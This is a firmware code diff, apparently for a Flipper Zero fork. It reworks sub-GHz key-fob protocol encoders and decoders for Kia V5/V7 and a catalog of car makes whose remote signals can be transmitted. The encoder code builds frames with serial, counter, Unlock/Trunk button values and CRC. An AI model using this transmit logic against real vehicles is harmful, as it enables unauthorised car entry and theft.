TAG, "deserialize #%lu, cnt after=%04lX", call_count, (uint32_t)instance->generic.cnt);
|
||||
|
||||
uint8_t btn = kia_v5_custom_to_btn(
|
||||
subghz_custom_btn_get() == SUBGHZ_CUSTOM_BTN_OK ? subghz_custom_btn_get_original() :
|
||||
subghz_custom_btn_get());
|
||||
if(subghz_block_generic_global_button_override_get(&btn)) {
|
||||
FURI_LOG_D(TAG, "Button changed to 0x%X", btn);
|
||||
}
|
||||
instance->generic.btn = btn & 0x0F;
|
||||
|
||||
instance->generic.data = kia_v5_encode_data(
|
||||
instance->generic.serial, instance->generic.cnt, instance->generic.btn);
|
||||
instance->replay_data = instance->generic.data;
|
||||
instance->replay_crc = kia_v5_calculate_crc(instance->replay_data);
|
||||
instance->replay_crc = kia_v5_calculate_crc(instance->replay_data);
|
||||
|
||||
if(!subghz_protocol_encoder_kia_v5_get_upload(instance)) {
|
||||
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
|
||||
break;
|
||||
}
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
break;
|
||||
}
|
||||
|
||||
uint8_t key_data[sizeof(uint64_t)] = {0};
|
||||
for(size_t i = 0; i < sizeof(uint64_t); i++) {
|
||||
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
|
||||
}
|
||||
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
|
||||
ret = SubGhzProtocolStatusErrorParserKey;
|
||||
break;
|
||||
}
|
||||
|
||||
uint32_t temp_btn = instance->generic.btn;
|
||||
if(!flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp_btn, 1)) {
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
break;
|
||||
}
|
||||
|
||||
if(!flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &instance->generic.cnt, 1)) {
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
break;
|
||||
}
|
||||
|
||||
yek = bit_reverse_64(instance->generic.data);
|
||||
yek_high = (uint32_t)(yek >> 32);
|
||||
yek_low = (uint32_t)(yek & 0xFFFFFFFF);
|
||||
if(!flipper_format_insert_or_update_uint32(flipper_format, "YekHi", &yek_high, 1)) {
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_insert_or_update_uint32(flipper_format, "YekLo", &yek_low, 1)) {
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
break;
|
||||
}
|
||||
|
||||
uint8_t crc = kia_v5_calculate_crc(yek);
|
||||
uint32_t crc_temp = crc;
|
||||
if(!flipper_format_insert_or_update_uint32(flipper_format, "CRC", &crc_temp, 1)) {
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
break;
|
||||
}
|
||||
|
||||
instance->encoder.is_running = true;
|
||||
|
||||
ret = SubGhzProtocolStatusOk;
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_kia_v5_stop(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV5* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_kia_v5_yield(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV5* instance = context;
|
||||
|
||||
if(!instance->encoder.is_running || instance->encoder.repeat == 0 ||
|
||||
instance->encoder.size_upload == 0) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_kia_v5_set_button(void* context, uint8_t button) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV5* instance = context;
|
||||
@@ -470,43 +364,10 @@ static void kia_v5_add_bit(SubGhzProtocolDecoderKiaV5* instance, bool bit) {
|
||||
instance->bit_count++;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_kia_v5_stop(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV5* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_kia_v5_yield(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV5* instance = context;
|
||||
|
||||
if(!instance->encoder.is_running || instance->encoder.repeat == 0 ||
|
||||
instance->encoder.size_upload == 0) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_kia_v5_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV5* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_kia_v5_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderKiaV5* instance = malloc(sizeof(SubGhzProtocolDecoderKiaV5));
|
||||
furi_assert(instance);
|
||||
instance->base.protocol = &subghz_protocol_kia_v5;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
@@ -544,7 +405,11 @@ void subghz_protocol_decoder_kia_v5_feed(void* context, bool level, uint32_t dur
|
||||
instance->header_count = 1;
|
||||
instance->bit_count = 0;
|
||||
instance->decoded_data = 0;
|
||||
manchester_advance(instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL);
|
||||
manchester_advance(
|
||||
instance->manchester_state,
|
||||
ManchesterEventReset,
|
||||
&instance->manchester_state,
|
||||
NULL);
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -614,8 +479,7 @@ void subghz_protocol_decoder_kia_v5_feed(void* context, bool level, uint32_t dur
|
||||
uint8_t byte = (instance->generic.data >> (i * 8)) & 0xFF;
|
||||
uint8_t reversed = 0;
|
||||
for(int b = 0; b < 8; b++) {
|
||||
if(byte & (1 << b))
|
||||
reversed |= (1 << (7 - b));
|
||||
if(byte & (1 << b)) reversed |= (1 << (7 - b));
|
||||
}
|
||||
instance->yek |= ((uint64_t)reversed << ((7 - i) * 8));
|
||||
}
|
||||
@@ -629,11 +493,6 @@ void subghz_protocol_decoder_kia_v5_feed(void* context, bool level, uint32_t dur
|
||||
instance->decoder.decode_data = instance->generic.data;
|
||||
instance->decoder.decode_count_bit = instance->generic.data_count_bit;
|
||||
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(kia_v5_btn_to_custom(instance->generic.btn));
|
||||
}
|
||||
subghz_custom_btn_set_max(4);
|
||||
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
@@ -677,20 +536,20 @@ SubGhzProtocolStatus subghz_protocol_decoder_kia_v5_serialize(
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
|
||||
if(ret == SubGhzProtocolStatusOk) {
|
||||
if(!flipper_format_write_uint32(
|
||||
flipper_format, "Serial", &instance->generic.serial, 1)) {
|
||||
uint32_t serial_tmp = instance->generic.serial;
|
||||
if(!flipper_format_write_uint32(flipper_format, "Serial", &serial_tmp, 1)) {
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
}
|
||||
if(ret == SubGhzProtocolStatusOk) {
|
||||
uint32_t temp = instance->generic.btn;
|
||||
if(!flipper_format_write_uint32(flipper_format, "Btn", &temp, 1)) {
|
||||
uint32_t btn_tmp = instance->generic.btn;
|
||||
if(!flipper_format_write_uint32(flipper_format, "Btn", &btn_tmp, 1)) {
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
}
|
||||
if(ret == SubGhzProtocolStatusOk) {
|
||||
if(!flipper_format_write_uint32(
|
||||
flipper_format, "Cnt", &instance->generic.cnt, 1)) {
|
||||
uint32_t cnt_tmp = instance->generic.cnt;
|
||||
if(!flipper_format_write_uint32(flipper_format, "Cnt", &cnt_tmp, 1)) {
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
}
|
||||
@@ -702,7 +561,7 @@ SubGhzProtocolStatus subghz_protocol_decoder_kia_v5_serialize(
|
||||
}
|
||||
if(ret == SubGhzProtocolStatusOk) {
|
||||
uint32_t yek_high = (uint32_t)(instance->yek >> 32);
|
||||
uint32_t yek_low = (uint32_t)(instance->yek & 0xFFFFFFFF);
|
||||
uint32_t yek_low = (uint32_t)(instance->yek & 0xFFFFFFFF);
|
||||
if(!flipper_format_write_uint32(flipper_format, "YekHi", &yek_high, 1)) {
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
@@ -721,13 +580,10 @@ SubGhzProtocolStatus
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderKiaV5* instance = context;
|
||||
|
||||
SubGhzProtocolStatus ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
|
||||
|
||||
if((ret == SubGhzProtocolStatusOk) &&
|
||||
(instance->generic.data_count_bit <
|
||||
subghz_protocol_kia_v5_const.min_count_bit_for_found)) {
|
||||
ret = SubGhzProtocolStatusErrorParserBitCount;
|
||||
}
|
||||
SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_kia_v5_const.min_count_bit_for_found);
|
||||
|
||||
if(ret == SubGhzProtocolStatusOk) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
@@ -758,15 +614,10 @@ SubGhzProtocolStatus
|
||||
}
|
||||
|
||||
instance->generic.serial = (uint32_t)((instance->yek >> 32) & 0x0FFFFFFF);
|
||||
instance->generic.btn = (uint8_t)((instance->yek >> 60) & 0x0F);
|
||||
instance->generic.btn = (uint8_t)((instance->yek >> 60) & 0x0F);
|
||||
|
||||
uint32_t encrypted = (uint32_t)(instance->yek & 0xFFFFFFFF);
|
||||
instance->generic.cnt = mixer_decode(encrypted);
|
||||
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(kia_v5_btn_to_custom(instance->generic.btn));
|
||||
}
|
||||
subghz_custom_btn_set_max(4);
|
||||
}
|
||||
|
||||
return ret;
|
||||
@@ -774,11 +625,16 @@ SubGhzProtocolStatus
|
||||
|
||||
static const char* subghz_protocol_kia_v5_get_name_button(uint8_t btn) {
|
||||
switch(btn) {
|
||||
case 0x01: return "Unlock";
|
||||
case 0x02: return "Lock";
|
||||
case 0x04: return "Trunk";
|
||||
case 0x08: return "Horn";
|
||||
default: return "Unknown";
|
||||
case 0x01:
|
||||
return "Unlock";
|
||||
case 0x02:
|
||||
return "Lock";
|
||||
case 0x04:
|
||||
return "Trunk";
|
||||
case 0x08:
|
||||
return "Horn";
|
||||
default:
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,7 +1,14 @@
|
||||
#include "kia_v7.h"
|
||||
#include "../blocks/const.h"
|
||||
#include "../blocks/decoder.h"
|
||||
#include "../blocks/encoder.h"
|
||||
#include "../blocks/generic.h"
|
||||
#include "../blocks/math.h"
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
#include <string.h>
|
||||
|
||||
#define KIA_V7_UPLOAD_CAPACITY 0x3A4
|
||||
#define KIA_V7_UPLOAD_CAPACITY \
|
||||
(1U + (KIA_V7_PREAMBLE_PAIRS * 2U) + 1U + (KIA_V7_KEY_BITS * 2U) + 2U)
|
||||
#define KIA_V7_PREAMBLE_PAIRS 0x13F
|
||||
#define KIA_V7_PREAMBLE_MIN_PAIRS 16
|
||||
#define KIA_V7_HEADER 0x4C
|
||||
@@ -53,7 +60,6 @@ struct SubGhzProtocolEncoderKiaV7 {
|
||||
|
||||
static uint8_t kia_v7_crc8(const uint8_t* data, size_t len) {
|
||||
uint8_t crc = 0x4CU;
|
||||
|
||||
for(size_t index = 0; index < len; index++) {
|
||||
crc ^= data[index];
|
||||
for(uint8_t bit = 0; bit < 8; bit++) {
|
||||
@@ -64,7 +70,6 @@ static uint8_t kia_v7_crc8(const uint8_t* data, size_t len) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return crc;
|
||||
}
|
||||
|
||||
@@ -76,11 +81,9 @@ static void kia_v7_u64_to_bytes_be(uint64_t data, uint8_t bytes[8]) {
|
||||
|
||||
static uint64_t kia_v7_bytes_to_u64_be(const uint8_t bytes[8]) {
|
||||
uint64_t data = 0;
|
||||
|
||||
for(size_t index = 0; index < 8; index++) {
|
||||
data = (data << 8U) | bytes[index];
|
||||
}
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
@@ -97,12 +100,12 @@ static bool kia_v7_is_long(uint32_t duration) {
|
||||
static const char* kia_v7_get_button_name(uint8_t button) {
|
||||
switch(button) {
|
||||
case 0x01:
|
||||
return "LOCK";
|
||||
return "Lock";
|
||||
case 0x02:
|
||||
return "UNLOCK";
|
||||
return "Unlock";
|
||||
case 0x03:
|
||||
case 0x08:
|
||||
return "BOOT";
|
||||
return "Trunk";
|
||||
default:
|
||||
return "??";
|
||||
}
|
||||
@@ -431,7 +434,7 @@ LevelDuration kia_protocol_encoder_v7_yield(void* context) {
|
||||
LevelDuration duration = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,8 +1,27 @@
|
||||
#include "protocol_items.h" // IWYU pragma: keep
|
||||
|
||||
#include <furi.h>
|
||||
#include <string.h>
|
||||
|
||||
#define TAG "ProtocolCatalog"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_REG_MDMCFG2 0x12U
|
||||
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_MASK 0x70U
|
||||
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_2FSK 0x00U
|
||||
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_GFSK 0x10U
|
||||
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_ASK_OOK 0x30U
|
||||
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_4FSK 0x40U
|
||||
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_MSK 0x70U
|
||||
#define SUBGHZ_PROTOCOL_CATALOG_VAG_FREQUENCY_MIN 434190000UL
|
||||
#define SUBGHZ_PROTOCOL_CATALOG_VAG_FREQUENCY_MAX 434450000UL
|
||||
|
||||
#define SUBGHZ_PROTOCOL_CATALOG_COUNT_OF(array) (sizeof(array) / sizeof((array)[0]))
|
||||
|
||||
#define SUBGHZ_PROTOCOL_CATALOG_TX_KEY(key) key
|
||||
|
||||
const SubGhzProtocol* const subghz_protocol_registry_items[] = {
|
||||
//&subghz_protocol_gate_tx,
|
||||
&subghz_protocol_keeloq,
|
||||
//&subghz_protocol_keeloq,
|
||||
//&subghz_protocol_nice_flo,
|
||||
//&subghz_protocol_came,
|
||||
//&subghz_protocol_faac_slh,
|
||||
@@ -61,7 +80,11 @@ const SubGhzProtocol* const subghz_protocol_registry_items[] = {
|
||||
&subghz_protocol_ford_v0,
|
||||
&subghz_protocol_psa,
|
||||
&subghz_protocol_fiat_spa,
|
||||
&subghz_protocol_fiat_marelli,
|
||||
//&subghz_protocol_fiat_marelli,
|
||||
&fiat_protocol_v0,
|
||||
&fiat_v1_protocol,
|
||||
&fiat_v2_protocol,
|
||||
&renault_v0_protocol,
|
||||
// &subghz_protocol_bmw_cas4,
|
||||
&subghz_protocol_subaru,
|
||||
&subghz_protocol_mazda_siemens,
|
||||
@@ -80,15 +103,359 @@ const SubGhzProtocol* const subghz_protocol_registry_items[] = {
|
||||
&subghz_protocol_chrysler,
|
||||
&subghz_protocol_kia_v7,
|
||||
&subghz_protocol_mazda_v0,
|
||||
//&honda_static_protocol,
|
||||
&ford_protocol_v1,
|
||||
&ford_protocol_v2,
|
||||
&ford_protocol_v3,
|
||||
&subghz_protocol_land_rover_v0,
|
||||
//&subghz_protocol_land_rover_v0,
|
||||
//&subghz_protocol_toyota,
|
||||
&honda_static_protocol,
|
||||
&honda_v1_protocol,
|
||||
&honda_v2_protocol,
|
||||
|
||||
|
||||
};
|
||||
|
||||
const SubGhzProtocolRegistry subghz_protocol_registry = {
|
||||
.items = subghz_protocol_registry_items,
|
||||
.size = COUNT_OF(subghz_protocol_registry_items)};
|
||||
|
||||
typedef enum {
|
||||
SubGhzProtocolCatalogModulationAM = 0,
|
||||
SubGhzProtocolCatalogModulationFM,
|
||||
} SubGhzProtocolCatalogModulation;
|
||||
|
||||
typedef struct {
|
||||
const char* alias;
|
||||
const char* canonical_name;
|
||||
} SubGhzProtocolCatalogAlias;
|
||||
|
||||
static const SubGhzProtocolCatalogEntry subghz_protocol_catalog[] = {
|
||||
{"Chrysler V0", SubGhzProtocolCatalogRoutePolicyAMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("chrysler_v0")},
|
||||
{"Fiat V0", SubGhzProtocolCatalogRoutePolicyAMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("fiat_v0")},
|
||||
{"Fiat V1", SubGhzProtocolCatalogRoutePolicyAMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("fiat_v1")},
|
||||
{"Fiat V2", SubGhzProtocolCatalogRoutePolicyAMDefault, NULL},
|
||||
{"Ford V0", SubGhzProtocolCatalogRoutePolicyAMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("ford_v0")},
|
||||
{"Ford V1", SubGhzProtocolCatalogRoutePolicyFMF4,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("ford_v1")},
|
||||
{"Ford V2", SubGhzProtocolCatalogRoutePolicyFMF4,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("ford_v2")},
|
||||
{"Ford V3", SubGhzProtocolCatalogRoutePolicyFMF4, NULL},
|
||||
{"Honda Static", SubGhzProtocolCatalogRoutePolicyFMHonda1,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("honda_static")},
|
||||
{"Honda V1", SubGhzProtocolCatalogRoutePolicyAMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("honda_v1")},
|
||||
{"Kia V0", SubGhzProtocolCatalogRoutePolicyFMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v0")},
|
||||
{"Kia V1", SubGhzProtocolCatalogRoutePolicyAMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v1")},
|
||||
{"Kia V2", SubGhzProtocolCatalogRoutePolicyAMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v2")},
|
||||
{"Kia V3/V4", SubGhzProtocolCatalogRoutePolicyFMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v3_v4")},
|
||||
{"Kia V5", SubGhzProtocolCatalogRoutePolicyFMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v5")},
|
||||
{"Kia V6", SubGhzProtocolCatalogRoutePolicyFMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v6")},
|
||||
{"Kia V7", SubGhzProtocolCatalogRoutePolicyFMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v7")},
|
||||
{"Honda V2", SubGhzProtocolCatalogRoutePolicyFMF4,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("honda_v2")},
|
||||
{"Mazda V0", SubGhzProtocolCatalogRoutePolicyByModulation,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("mazda_v0")},
|
||||
{"Mitsubishi V0", SubGhzProtocolCatalogRoutePolicyFMDefault, NULL},
|
||||
{"Porsche Touareg", SubGhzProtocolCatalogRoutePolicyAMDefault, NULL},
|
||||
{"PSA", SubGhzProtocolCatalogRoutePolicyByModulation,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("psa")},
|
||||
{"Renault V0", SubGhzProtocolCatalogRoutePolicyAMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("renault_v0")},
|
||||
{"Scher-Khan", SubGhzProtocolCatalogRoutePolicyFMDefault, NULL},
|
||||
{"Star Line", SubGhzProtocolCatalogRoutePolicyAMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("star_line")},
|
||||
{"Subaru", SubGhzProtocolCatalogRoutePolicyAMDefault,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("subaru")},
|
||||
{"VAG", SubGhzProtocolCatalogRoutePolicyAMVag,
|
||||
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("vag")},
|
||||
};
|
||||
|
||||
static const SubGhzProtocolCatalogAlias subghz_protocol_catalog_aliases[] = {
|
||||
{"StarLine", "Star Line"},
|
||||
{"Kia V3", "Kia V3/V4"},
|
||||
{"Kia V4", "Kia V3/V4"},
|
||||
{"KIA/HYU V3", "Kia V3/V4"},
|
||||
{"KIA/HYU V4", "Kia V3/V4"},
|
||||
{"Suzuki", "Kia V0"},
|
||||
{"Suzuki V0", "Kia V0"},
|
||||
{"Honda V0", "Kia V0"},
|
||||
{"Land Rover V0", "Honda V2"},
|
||||
{"VW", "VAG"},
|
||||
};
|
||||
|
||||
static bool catalog_string_equal(const char* a, const char* b) {
|
||||
return a && b && strcmp(a, b) == 0;
|
||||
}
|
||||
|
||||
static bool catalog_string_contains(const char* haystack, const char* needle) {
|
||||
return haystack && needle && strstr(haystack, needle) != NULL;
|
||||
}
|
||||
|
||||
static const SubGhzProtocolCatalogEntry*
|
||||
catalog_find_canonical(const char* canonical_name) {
|
||||
if(!canonical_name || canonical_name[0] == '\0') {
|
||||
return NULL;
|
||||
}
|
||||
for(size_t i = 0; i < SUBGHZ_PROTOCOL_CATALOG_COUNT_OF(subghz_protocol_catalog); i++) {
|
||||
if(catalog_string_equal(
|
||||
canonical_name, subghz_protocol_catalog[i].canonical_name)) {
|
||||
return &subghz_protocol_catalog[i];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char* catalog_alias_to_canonical(const char* protocol_name) {
|
||||
if(!protocol_name || protocol_name[0] == '\0') {
|
||||
return NULL;
|
||||
}
|
||||
for(size_t i = 0; i < SUBGHZ_PROTOCOL_CATALOG_COUNT_OF(subghz_protocol_catalog_aliases); i++) {
|
||||
if(catalog_string_equal(
|
||||
protocol_name, subghz_protocol_catalog_aliases[i].alias)) {
|
||||
return subghz_protocol_catalog_aliases[i].canonical_name;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const SubGhzProtocolCatalogEntry*
|
||||
catalog_find_substring(const char* protocol_name) {
|
||||
if(!protocol_name || protocol_name[0] == '\0') {
|
||||
return NULL;
|
||||
}
|
||||
for(size_t i = 0; i < SUBGHZ_PROTOCOL_CATALOG_COUNT_OF(subghz_protocol_catalog); i++) {
|
||||
if(catalog_string_contains(
|
||||
protocol_name, subghz_protocol_catalog[i].canonical_name)) {
|
||||
return &subghz_protocol_catalog[i];
|
||||
}
|
||||
}
|
||||
for(size_t i = 0; i < SUBGHZ_PROTOCOL_CATALOG_COUNT_OF(subghz_protocol_catalog_aliases); i++) {
|
||||
if(catalog_string_contains(
|
||||
protocol_name, subghz_protocol_catalog_aliases[i].alias)) {
|
||||
return catalog_find_canonical(
|
||||
subghz_protocol_catalog_aliases[i].canonical_name);
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const SubGhzProtocolCatalogEntry*
|
||||
subghz_protocol_catalog_find(const char* protocol_name) {
|
||||
if(!protocol_name || protocol_name[0] == '\0') {
|
||||
return NULL;
|
||||
}
|
||||
const SubGhzProtocolCatalogEntry* entry =
|
||||
catalog_find_canonical(protocol_name);
|
||||
if(entry) {
|
||||
return entry;
|
||||
}
|
||||
|
||||
const char* canonical_name = catalog_alias_to_canonical(protocol_name);
|
||||
if(canonical_name) {
|
||||
return catalog_find_canonical(canonical_name);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const char* subghz_protocol_catalog_canonical_name(const char* protocol_name) {
|
||||
const SubGhzProtocolCatalogEntry* entry = subghz_protocol_catalog_find(protocol_name);
|
||||
return entry ? entry->canonical_name : protocol_name;
|
||||
}
|
||||
|
||||
bool subghz_protocol_catalog_can_tx(const char* protocol_name) {
|
||||
return subghz_protocol_catalog_tx_key(protocol_name) != NULL;
|
||||
}
|
||||
|
||||
const char* subghz_protocol_catalog_tx_key(const char* protocol_name) {
|
||||
const SubGhzProtocolCatalogEntry* entry = subghz_protocol_catalog_find(protocol_name);
|
||||
return entry ? entry->tx_key : NULL;
|
||||
}
|
||||
|
||||
const char*
|
||||
subghz_protocol_catalog_display_name(const char* protocol_name, uint32_t protocol_type) {
|
||||
if(!protocol_name) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if(catalog_string_equal(protocol_name, "Suzuki") ||
|
||||
catalog_string_equal(protocol_name, "Suzuki V0")) {
|
||||
return "Suzuki V0";
|
||||
}
|
||||
if(catalog_string_equal(protocol_name, "Honda V0")) {
|
||||
return "Honda V0";
|
||||
}
|
||||
|
||||
const char* canonical_name = subghz_protocol_catalog_canonical_name(protocol_name);
|
||||
if(catalog_string_equal(canonical_name, "Kia V0")) {
|
||||
if(protocol_type == 2U) {
|
||||
return "Suzuki V0";
|
||||
}
|
||||
if(protocol_type == 3U) {
|
||||
return "Honda V0";
|
||||
}
|
||||
}
|
||||
|
||||
return canonical_name;
|
||||
}
|
||||
|
||||
static bool catalog_preset_try_get_register(
|
||||
const uint8_t* preset_data,
|
||||
size_t preset_data_size,
|
||||
uint8_t reg,
|
||||
uint8_t* value) {
|
||||
if(!preset_data || !value || (preset_data_size < 2U)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
for(size_t i = 0; i + 1U < preset_data_size; i += 2U) {
|
||||
const uint8_t address = preset_data[i];
|
||||
const uint8_t data = preset_data[i + 1U];
|
||||
|
||||
if((address == 0x00U) && (data == 0x00U)) {
|
||||
break;
|
||||
}
|
||||
|
||||
if(address == reg) {
|
||||
*value = data;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static SubGhzProtocolCatalogModulation catalog_get_modulation(
|
||||
const uint8_t* preset_data,
|
||||
size_t preset_data_size) {
|
||||
uint8_t mdmcfg2 = 0U;
|
||||
|
||||
if(!catalog_preset_try_get_register(
|
||||
preset_data, preset_data_size, SUBGHZ_PROTOCOL_CATALOG_CC1101_REG_MDMCFG2, &mdmcfg2)) {
|
||||
FURI_LOG_W(TAG, "Preset missing MDMCFG2, defaulting to AM registry");
|
||||
return SubGhzProtocolCatalogModulationAM;
|
||||
}
|
||||
|
||||
switch(mdmcfg2 & SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_MASK) {
|
||||
case SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_ASK_OOK:
|
||||
return SubGhzProtocolCatalogModulationAM;
|
||||
case SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_2FSK:
|
||||
case SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_GFSK:
|
||||
case SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_4FSK:
|
||||
case SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_MSK:
|
||||
return SubGhzProtocolCatalogModulationFM;
|
||||
default:
|
||||
FURI_LOG_W(TAG, "Unknown MDMCFG2 0x%02X, defaulting to AM registry", mdmcfg2);
|
||||
return SubGhzProtocolCatalogModulationAM;
|
||||
}
|
||||
}
|
||||
|
||||
static bool catalog_frequency_in_vag_band(uint32_t frequency) {
|
||||
return frequency >= SUBGHZ_PROTOCOL_CATALOG_VAG_FREQUENCY_MIN &&
|
||||
frequency <= SUBGHZ_PROTOCOL_CATALOG_VAG_FREQUENCY_MAX;
|
||||
}
|
||||
|
||||
static SubGhzProtocolCatalogRoute catalog_route_from_policy(
|
||||
SubGhzProtocolCatalogRoutePolicy policy,
|
||||
SubGhzProtocolCatalogModulation modulation) {
|
||||
switch(policy) {
|
||||
case SubGhzProtocolCatalogRoutePolicyAMVag:
|
||||
return SubGhzProtocolCatalogRouteAMVag;
|
||||
case SubGhzProtocolCatalogRoutePolicyFMDefault:
|
||||
return SubGhzProtocolCatalogRouteFMDefault;
|
||||
case SubGhzProtocolCatalogRoutePolicyFMF4:
|
||||
return SubGhzProtocolCatalogRouteFMF4;
|
||||
